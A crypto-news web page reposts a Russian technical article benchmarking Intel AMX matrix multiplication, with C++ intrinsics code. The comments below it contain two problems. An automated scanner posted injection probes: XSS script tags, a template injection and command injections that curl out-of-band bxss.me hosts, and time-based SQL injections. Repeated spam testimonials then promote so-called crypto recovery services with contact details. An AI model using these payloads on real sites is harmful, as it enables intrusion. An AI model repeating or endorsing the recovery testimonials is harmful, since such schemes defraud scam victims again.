Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Теоретическая и реальная производительность Intel AMX

Введение

AMX (Advanced Matrix Extension) - это модуль аппаратного ускорения умножения матриц, который появился в серверных процессорах Intel Xeon Scalable, начиная с 4 поколения (архитектура Sapphire Rapids).

В начале этого года ко мне в руки наконец попал сервер, с данным типом процессора.

Конкретно модель Xeon(R) Gold 5412U - это 24 ядерный процессор с тактовой частотой в 2.1 GHz. При этом 8 приоритетных ядер могут разгонятся до 2.3 GHz, а 1 ядро до 3.9 GHz в Turbo Boost). Кроме того данный процессор поддерживает 8 канальную DDR-5 4400 MT/s.

Мне как человеку, достаточно долгое время посвятившему оптимизации алгоритмов компьютерного зрения и запуска нейронный сетей на CPU (библиотеки Simd и Synet), было интересно: на сколько AMX позволяет реально ускорить вычисления и как извлечь из него максимальную производительность.

Далее я постараюсь максимально подробно ответить на данные вопросы. Прежде все я буду касаться вопросов однопоточной производительности (многопоточную рассмотрю позже).

Описание AMX

Для начала опишем, что из себя представляет AMX. Он представляет из себя модуль управления (Tile Config), кроме того набор матричных регистров и матричный ускоритель, который производит операции матричного умножения для чисел в формате bfloat16 и int8 (в следующем году ожидается выход процессоров с поддержкой в AMX умножения чисел в формате float16, в том числе комплексных).

В текущей реализации присутствуют 8 регистров размером по 1024 байта, которому соответствует максимальный размер матрицы 32x16 (для bfloat16) или 64x16 (для int8).

Упомянутый выше управляющий модуль регулируется при помощи 64-х байтного конфигурационного регистра, в котором можно задавать фактический размер каждой матрицы. Операции умножения доступны только между данными, которые находятся в матричных регистрах, кроме того есть специальные операции по загрузке и выгрузке данных.

Формат bfloat16 и умножение матриц

Скажем пару слов о формате bfloat16 - в отличие от формата float16 он имеет мантиссу в 7 бит, но зато с гораздо более широким динамическим диапазоном. По сути это половинка bfloat32 с обрезанной точностью мантиссы.

Форматы чисел
Форматы чисел

Использование формата bfloat16 приводит к итоговой погрешности порядка 0.2-0.3%, чего впрочем вполне достаточно для целей машинного обучения.

Операция умножения двух матриц можно пояснить следующим псевдокодом:

FOR m = 0 TO dst.rows - 1
    FOR k = 0 TO (a.colsb / 4) - 1
        FOR n = 0 TO (dst.colsb / 4) - 1
            dst[m][n] += FP32(a[m][2 * k + 0]) * FP32(b[k][2 * n + 0])
            dst[m][n] += FP32(a[m][2 * k + 1]) * FP32(b[k][2 * n + 1])

По сути в float32 аккумулятор попарно суммируются произведения входных bfloat16 матриц. Т.е. если мы хотим перемножить две матрицы в формате float32, то первую мы просто конвертируем в bfloat16, а для второй матрицы кроме непосредственно самой конвертации необходимо будет перемешать элементы в четных и нечетных строках.

Простейший пример использования AMX

Ниже приведен простейший пример использования AMX:

#include <immintrin.h>
#include <stdint.h>
#include <iostream>
#include <unistd.h>
#include <sys/syscall.h>

const int ARCH_REQ_XCOMP_PERM = 0x1023;
const int XFEATURE_XTILEDATA = 18;

void ConvertA(const float* src, uint16_t* dst)
{
    __m512 s0 = _mm512_loadu_ps(src + 0 * 16);
    __m512 s1 = _mm512_loadu_ps(src + 1 * 16);
    _mm512_storeu_si512(dst, (__m512i)_mm512_cvtne2ps_pbh(s1, s0));
}

void ConvertB(const float* src, int stride, uint16_t* dst)
{
    static const __m512i PERM_IDX = _mm512_set_epi16(
        0x1f, 0x0f, 0x1e, 0x0e, 0x1d, 0x0d, 0x1c, 0x0c, 
        0x1b, 0x0b, 0x1a, 0x0a, 0x19, 0x09, 0x18, 0x08,
        0x17, 0x07, 0x16, 0x06, 0x15, 0x05, 0x14, 0x04, 
        0x13, 0x03, 0x12, 0x02, 0x11, 0x01, 0x10, 0x00);
    __m512 s0 = _mm512_loadu_ps(src + 0 * stride);
    __m512 s1 = _mm512_loadu_ps(src + 1 * stride);
    __m512i d = (__m512i)_mm512_cvtne2ps_pbh(s1, s0);
    _mm512_storeu_si512(dst, _mm512_permutexvar_epi16(PERM_IDX, d));
} // Конвертация в BF16 с переупорядочиванием четных и нечетных строк.

struct TileConfig
{
    uint8_t paletteId; // должен быть установлен в 1
    uint8_t startRow; // должен быть установлен в 0
    uint8_t reserved[14];
    uint16_t colsb[16]; // актуальная длина строк матриц в байтах
    uint8_t rows[16]; // актуальное число строк в матрицах
};

int main()
{
    // Инициализация AMX в Linux:
    if (syscall(SYS_arch_prctl, 
        ARCH_REQ_XCOMP_PERM, XFEATURE_XTILEDATA) != 0)
    {
        std::cout << "Can't initialize AMX!" << std::endl;
        return 1;
    }

    float A[16][32], B[32][16], C[16][16];

    uint16_t a[16][32];
    for (int i = 0; i < 16; ++i)
        ConvertA(A[i], a[i]);

    uint16_t b[16][32];
    for (int i = 0; i < 16; ++i)
        ConvertB(B[i * 2], 16, b[i]);

    TileConfig conf = {};
    conf.paletteId = 1; 
    conf.rows[0] = 16; 
    conf.colsb[0] = 16 * 4; 
    conf.rows[1] = 16; 
    conf.colsb[1] = 16 * 4;
    conf.rows[2] = 16;
    conf.colsb[2] = 16 * 4;
    _tile_loadconfig(&conf);// Загрузка конфигурации AMX

    _tile_zero(0); // обнуление 0-го рестра

    _tile_loadd(1, a, 64); // загрузка матрицы A в 1-й регистр

    _tile_loadd(2, b, 64); // загрузка матрицы B в 2-й регистр

    _tile_dpbf16ps(0, 1, 2);// непосредственно умножение С += A * B

    _tile_stored(0, C, 64); // сохранение рузультата в матрицу С

    _tile_release(); // очистка AMX конфигурации

    return 0;
}

Давайте его рассмотрим несколько подробнее:

  • Прежде всего нужно включить в операционной системе использование AMX регистров.

  • Далее необходимо преобразовать входные значения матриц A и B из формата float32 в формат bfloat16, для чего есть соответствующие инструкции в наборе AVX-512BF16. Не забываем, что значения четных и нечетных строк матрицы B должны быть перемешаны попарно.

  • Следующим шагом необходимо задать фактический размер матриц в регистрах. Это осуществляется путем инициализации структуры TileConfig и ее последующей загрузкой. Данные о фактическом размере матриц будут потом неявно использовать в процессе загрузки, умножения и сохранения матриц.

  • Далее загружаем сконвертированные матрицы в регистры, обнуляем аккумулятор и запускаем непосредственно саму операцию умножения.

  • Далее выгружаем результат в основную память.

  • Не забываем очистить файл конфигурации после использования.

После этого игрушечного примера посмотрим на реальную производительность AMX.

Теоретическая производительность матричного умножения

В начале протестируем чистую производительность AMX. Чтобы исключить влияние подсистемы памяти, будем предполагать, что все входные данные лежат в регистрах.

void PerfBf16L0(int count)
{
    for (int i = 0; i < count; i += 4)
    {
        _tile_dpbf16ps(0, 4, 6);
        _tile_dpbf16ps(1, 4, 7);
        _tile_dpbf16ps(2, 5, 6);
        _tile_dpbf16ps(3, 5, 7);
    }
}

Для чисел в формате bfloat16 скорость умножения двух матриц размером 32x16 занимает 16 процессорных тактов. Что составляет 3.7 TFLOPS для частоты 3.9 GHz. Это в 16 раз больше того, что можно достичь при использовании AVX-512 в формате float32.

void PerfInt8L0(int count)
{
    for (int i = 0; i < count; i += 4)
    {
        _tile_dpbuud(0, 4, 6);
        _tile_dpbuud(1, 4, 7);
        _tile_dpbuud(2, 5, 6);
        _tile_dpbuud(3, 5, 7);
    }
}

Для целых чисел в формате int8 скорость умножения двух матриц размером 64x16 составляет те же 16 тактов, что позволяет достичь 7.4 TOPS для частоты 3.9 GHz. Это в 8 раз больше, чем можно достичь при использовании AVX-512VNNI.

Отдельно отметим, что скорость умножения не зависит от фактического размера матриц, если приходится умножать матрицы меньшего размера, то на это все равно уходит 16 тактов. Кроме того тесты показывают, что в ядре есть фактически одно устройство матричного умножения, которое выполняет все операции умножения последовательно.

Практические ограничения

Конечно теоретически AMX обеспечивает 16 x 32 * 2 = 1024 операций bfloat16 за такт, однако практически нужно постоянно загружать в регистры исходные данные и выгружать из них результат, что будет сильно портить картину. Ну и кроме того, не забываем про необходимость конвертации исходных данных в формат bfloat16.

Если подходить к задаче в лоб, то для каждой операции матричного умножения C += A*B, требуется произвести 3 загрузки и одно сохранение, что приводит к к катастрофическому падению производительности из-за операций ввода/вывода.

В реальности обычно стараются часть регистров использовать в качестве аккумуляторов, что позволяет избежать постоянной загрузки и сохранения матрицы С.

Это в итоге сводит к необходимости 1 загрузки на одну операцию умножения матриц:

случае тактовой частоты в 3.9 GHz для достижения пиковой производительности в 3.7 TFLOPS необходима пропускная способность на уровне не менее 250 GB/s.

Далее протестируем скорость загрузки данных, и проверим хватит ли ее для обеспечения работы матричных регистров.

Скорость загрузки AMX регистров

В первом случае данные располагаются компактно:

void LoadCompact(int count, uint8_t* buf)
{
    for (int i = 0; i < count; i++)
        _tile_loadd(0, buf + i * 1024, 64);
}

В втором просто загружаем данные, лежащие построчно:

void LoadLongRows(int count, uint8_t* buf)
{
    for (int i = 0; i < count; i++)
        _tile_loadd(0, buf + i * 64, 64 * count);
}
Chart

Как видно из данного графика, загрузка данных, которые лежат в L1 кэше (его размер составляет 48 kB) обеспечивает скорость загрузки вплоть до 380-390 GB/s что составляет где-то 75% от теоретического максимума. Этого теоретически достаточно для полной утилизации вычислительной способности матричного ускорителя. Однако, уже пропускной способности L2 кэша (его размер составляет 2 MB) на уровне 170-180 GB/s (70% от теоретического максимума) не достаточно для полной утилизации матричного ускорителя. Пропускная способность L3 кэша составляет всего 32 GB/s, что лишь незначительно превышает однопоточную пропускную способность памяти в 20-21 GB/s. К тому же он имеет размер всего в 1.9 MB на ядро, что даже меньше размера кэша L2.

Данные ограничения пропускной способности, естественным образом сказываются на общей производительности, что наглядно может продемонстрировать следующий тест:

void PerfBf16L1(int count, uint8_t* buf, bool update, bool save)
{
    uint8_t* A0 = buf + 4 * 1024, *A1 = A0 + count * 1024;
    uint8_t* B0 = A1 + count * 1024, *B1 = B0 + count * 1024;
    if (update)
    {
        _tile_stream_loadd(0, buf + 0 * 1024, 64);
        _tile_stream_loadd(1, buf + 1 * 1024, 64);
        _tile_stream_loadd(2, buf + 2 * 1024, 64);
        _tile_stream_loadd(3, buf + 3 * 1024, 64);
    }
    else
    {
        _tile_zero(0);
        _tile_zero(1);
        _tile_zero(2);
        _tile_zero(3);
    }
    for (int i = 0; i < count; i++)
    {
        _tile_loadd(4, A0 + i * 1024, 64);
        _tile_loadd(5, A1 + i * 1024, 64);
        _tile_loadd(6, B0 + i * 1024, 64);
        _tile_loadd(7, B1 + i * 1024, 64);
        _tile_dpbf16ps(0, 4, 6);
        _tile_dpbf16ps(1, 4, 7);
        _tile_dpbf16ps(2, 5, 6);
        _tile_dpbf16ps(3, 5, 7);
    }
    if (save)
    {
        _tile_stored(0, buf + 0 * 1024, 64);
        _tile_stored(1, buf + 1 * 1024, 64);
        _tile_stored(2, buf + 2 * 1024, 64);
        _tile_stored(3, buf + 3 * 1024, 64);
    }
}

По сути это тест представляет собой упрощенное микроядро , от реального алгоритма перемножения матриц. C[32] *= A[32][K] * B[K][32] - перемножение блока строк на блок столбцов. Для наглядности приведем схему:

65e7d0237f93e1f6ede98f397cd62375.png

Ниже на графиках приведены реально достижимые показатели производительности на уровне микроядра:

Points scored

Видно, что в идеальных условиях, когда все данные лежат в L1 кэше, производительность может достигать 3.3 TFLOPS, что составляет 90% от теоретического максимума. Если учесть то, что результаты нужно куда то сохранять, то более реальным выглядит величина 2.9 - 3.0 TFLOPS (80% эффективность).

При локализации данных в L2 кэше, производительность может достигать величины в 2.6 - 2.7 TFLOPS, что составляет порядка 70% от максимально возможной и очень хорошо согласуется с реальной пропускной способностью L2 кэша, которую мы измерили ранее. Далее, если данные не локализуются в L1 или L2 кэше, то происходит драматическое падение производительности. Следовательно, любой эффективный алгоритм, который использует AMX, должен крутится вокруг локализации рабочих данных в пределах 2 MB.

Умножение матриц

Ну и простейшим алгоритмов, в таком случае будет умножение матриц. Попробуем его реализовать при помощи AMX. Сразу скажу, что пример упрощенный, в нем предполагается, что размер всех матриц кратен 32.

Для начала реализуем микроядро:

void GemmMicro(int K, const uint16_t* A0, const uint16_t* A1,
    const uint16_t* B0, const uint16_t* B1,
    float* C, int ldc, bool update)
{
    if (update)
    {
        _tile_stream_loadd(0, C, ldc * 4);
        _tile_stream_loadd(1, C + 16, ldc * 4);
        _tile_stream_loadd(2, C + 16 * ldc, ldc * 4);
        _tile_stream_loadd(3, C + 16 * ldc + 16, ldc * 4);
    }
    else
    {
        _tile_zero(0);
        _tile_zero(1);
        _tile_zero(2);
        _tile_zero(3);
    }
    for (int k = 0; k < K; k += 32)
    {
        _tile_stream_loadd(4, A0 + k * 16, 64);
        _tile_stream_loadd(5, A1 + k * 16, 64);
        _tile_loadd(6, B0 + k * 16, 64);
        _tile_loadd(7, B1 + k * 16, 64);
        _tile_dpbf16ps(0, 4, 6);
        _tile_dpbf16ps(1, 4, 7);
        _tile_dpbf16ps(2, 5, 6);
        _tile_dpbf16ps(3, 5, 7);
    }
    _tile_stored(0, C, ldc * 4);
    _tile_stored(1, C + 16, ldc * 4);
    _tile_stored(2, C + 16 * ldc, ldc * 4);
    _tile_stored(3, C + 16 * ldc + 16, ldc * 4);
}

Здесь мы подгружаем данные матрицы B из двух квази столбцов (блоков по 16 столбцов), локализованных в L1 кэше. Данные матрицы A грузим из квази строк (блоков из 16 строк), которые должны быть локализованы в кэше L2. Для чего используем специальную инструкцию _tile_stream_loadd - которая загружает данные напрямую, минуя кэши верхнего уровня (чтобы не вытеснить из L1 данные матрицы B). Аналогично при необходимости загружаются значения матрицы С.

Далее сделаем макро ядро:

void ConvertA(int K, const float* A, int lda, uint16_t* buf)
{
    for (int k = 0; k < K; k += 32, A += 32)
        for (int i = 0; i < 16; ++i, buf += 32)
            ConvertA(A + i * lda, buf);
}

void ConvertB(int K, const float* B, int ldb, uint16_t* buf)
{
    for (int k = 0; k < K; k += 2, B += 2 * ldb, buf += 32)
        ConvertB(B, ldb, buf);
}

void GemmMacro(int M, int N, int K,
    const float* A, int lda, uint16_t* bufA,
    const float* B, int ldb, uint16_t* bufB,
    int convertB, float* C, int ldc, bool update)
{
    uint64_t n = 0;
    for (int j = 0; j < N; j += 32)
    {
        uint16_t* B0 = bufB + j * K;
        uint16_t* B1 = bufB + (j + 16) * K;
        if (convertB)
        {
            ConvertB(K, B + j + 0, ldb, B0);
            ConvertB(K, B + j + 16, ldb, B1);
        }
        for (int i = 0; i < M; i += 32)
        {
            uint16_t* A0 = bufA + i * K;
            uint16_t* A1 = bufA + (i + 16) * K;
            if (j == 0)
            {
                ConvertA(K, A + i * lda, lda, A0);
                ConvertA(K, A + (i + 16) * lda, lda, A1);
            }
            GemmMicro(K, A0, A1, B0, B1, C + i * ldc + j, ldc, update);
        }
    }
}

Данные, которые использует данная функция локализованы в кэше 2-3 уровня. При необходимости они подгружаются из памяти (заодно выполняется конверсия из float32 в bfloat16 для матрицы A и также переупорядочивание для матрицы B).

Ну и наконец, сама функция матричного умножения:

void GemmFunc(int M, int N, int K, const float* A, const float* B, float* C)
{
    TileConfig conf = {};
    conf.paletteId = 1;
    for (size_t i = 0; i < 8; ++i)
    {
        conf.rows[i] = 16;
        conf.colsb[i] = 64;
    }
    _tile_loadconfig(&conf);

    const int L1 = 48 * 1024, L2 = 2 * 1024 * 1024, L3 = 45 * 1024 * 1024;
    int mK = std::min(L1 / 2 / 32, K) / 32 * 32;
    int mM = std::min(int(L2 * 0.5) / 2 / mK, M) / 32 * 32;
    int mN = std::min(int(L3 * 0.1) / 2 / mK, N) / 32 * 32;
    std::vector<uint16_t> bufA(mK * mM), bufB(mN * mK);
    for (int j = 0; j < N; j += mN)
    {
        int dN = std::min(N, j + mN) - j;
        for (int k = 0; k < K; k += mK)
        {
            int dK = std::min(K, k + mK) - k;
            for (int i = 0; i < M; i += mM)
            {
                int dM = std::min(M, i + mM) - i;
                GemmMacro(dM, dN, dK,
                    A + i * K + k, K, bufA.data(),
                    B + k * N + j, N, bufB.data(), i == 0,
                    C + i * N + j, N, k != 0);
            }
        }
    }
    _tile_release();
}

В начале конфигурируем все регистры на максимальный размер. Далее выделяем два буфера под хранение блоков матриц A и B с данными подготовленными для AMX.

Ниже приведена схема для лучшего понимания порядка, в котором происходит обход данных:

0ca3df24e1e4a839d538df046343ee0c.png

Размер блока A - выбираем в 50% от L2 кэша, B - 10% от общего L3 кэша. Почему L2 кэш получается эффективно использовать только на половину? Видимо по тому, что он достаточно активно засоряется не используемыми данными матриц B и С. Как с этим бороться, я пока не нашел ответа. С использованием L3 кэша - здесь при текущей реализации алгоритма больший процент не дает никакого ускорения.

Результат виден на графике ниже:

Points scored

Видно, что производительность AMX на перемножении матриц достигает 1.4 TFLOPS, что составляет где-то 37% от теоретического максимума. Это с одной стороны вроде достаточно скромно, с другой стороны это в 7.5 раз быстрее, чем на AVX-512.

Причины низкой эффективности

Если кратко - AMX слишком быстрый для текущего размера кэша L1-L2 и пропускной способности L3 и основной памяти. В серии процессоров Xeon Max со встроенной высокоскоростной памятью HBM, эти проблемы в значительной мере устранены, однако проверить лично я этого пока к сожалению не могу. Лишь для Xeon Max AMX может раскрыть свой потенциал, однако эти процессора редки, да и ценник на них не совсем гуманный, мягко говоря.

Что еще можно сделать

Если касаться возможности повышения производительности на текущем оборудовании, то для типичного применения AMX - инференса нейронной сети можно предложить следующее:

  1. Заранее конвертировать и переупорядочить данные. По крайней мере для весов это всегда можно сделать. Это даст выигрыш как в отсутствие конверсии, так и в уменьшении нагрузки на подсистему памяти.

  2. Для сверток 2x2, 3x3, и т.д. возможно более компактное расположение данных, что позволяет сделать над ними больший объем вычислений, что по идее должно увеличить степень утилизации AMX.

Выводы

Если вы вдруг запускаете нейросети на CPU, то использование AMX - это то что доктор прописал. Да пусть не удастся задействовать всю его мощь целиком, но даже то, что реально достижимо вполне впечатляет (ускорение 7.5 раз на дороге не валяется). Да придется повозиться и естественно в среднем ускорение будет значительно скромнее, но оно все равно будет кратным для большого класса моделей. В данной статье я оставил за кадром вопросы многопоточности и тестирования на реальных задачах, возможно это будет заделом для будущих статей.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

